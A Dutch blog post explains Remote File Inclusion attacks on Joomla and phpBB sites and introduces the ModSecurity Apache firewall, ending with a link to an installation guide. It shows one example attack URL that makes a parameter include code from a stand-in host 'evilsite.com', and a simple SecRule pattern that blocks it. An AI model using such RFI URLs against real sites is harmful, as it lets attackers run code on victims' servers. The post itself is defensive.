Veel VPS of servergebruikers zijn wel eens tegen het fenomeen ‘Gehackte Joomla’ of ‘Gehackte PHPbb’ aangelopen en hebben in de logfiles regels gezien waarbij Remote File Inclusion (RFI) te detecteren is. Bijvoorbeeld: http://jouw-joomlasite.nl/index.php?page=http://evilsite.com/code.php
Remote File Inclusion is een methode waarbij de aanvaller probeert een bestand met gevaarlijke code door een webapplicatie op de server van het slachtofer uit te laten voeren. De aanvaller zal dit doen door een url als waarde in te voeren in een variabele of parameter van de webapplicatie. Deze url verwijst vervolgens naar de gevaarlijke code die de webapplicatie in haar eigen code zal “includen” op het moment dat de url door het programma wordt aangeroepen.
Wanneer webapplicatie-programmeurs hier op bedacht zijn, dan is er niet zo veel aan de hand. Een url zoals hierboven beschreven kan dan geen kwaad aangezien de code van de software al rekening houdt met dit soort aanvallen en alle variabelen die eventueel zouden kunnen worden gemanipuleerd, worden dan automatisch ontdaan van dit soort waarden. In de praktijk gebeurt dit echter vaak niet. Vaak zijn grote webapplicaties niet meer het domein van 1 programmeur, zodat de kans groter is dat er op dit gebied missers worden gemaakt en gaten vallen in de software.
Ivan Ristic was zich hier in 2001 al goed van bewust en probeerde met bestaande tools dergelijke urls te herkennen om ze vervolgens met slimme mod_rewrite statements onschadelijk te maken. Al snel waren combinaties van bestaande middelen niet meer genoeg, waardoor hij in 2003 is begonnen aan ModSecurity.
ModSecurity is een Apache module die werkt als een Application Firewall:
Deze module scant het HTTP verkeer en vergelijkt dat verkeer met een “rule” in de mod_security configuratie. Vervolgens wordt aan de hand van deze vergelijking besloten of het gescande HTTP verkeer wordt toegelaten of geblokkeerd. Het voordeel van ModSecurity is dat het ook de inhoud van HTTP verkeer scant, zodat je op een dieper niveau verkeer kan tegenhouden.
Versie 2 van ModSecurity heeft met zijn CoreRules een basisset aan regels gemaakt die de meest voorkomende aanvallen tegenhoudt, waardoor het out-of-the-box makkelijker wordt om veelgebruikte aanvallen tegen te houden.
Door de flexibele opzet van ModSecurity zijn er goede regels te maken die ongewild HTTP verkeer tegenhouden. Op het internet zijn veel van dit soort rules te vinden die mensen hebben samengesteld om hun server te beschermen tegen aanvallen op webapplicaties.
Het formuleren van een mod_security regel die RFI stopt kan simpel zijn als:
SecRule ARGS|ARGS_NAMES "^http:/"
Deze rule houdt al het HTTP-verkeer tegen waarbij een variabele waarde (ARGS) begint met ‘http://’. Hierdoor vormen RFI-url’s geen bedreiging meer omdat ze door ModSecurity worden tegengehouden voordat ze bij de webapplicatie kunnen komen.
Lees verder om een installatie how-to te lezen.
(meer lezen…)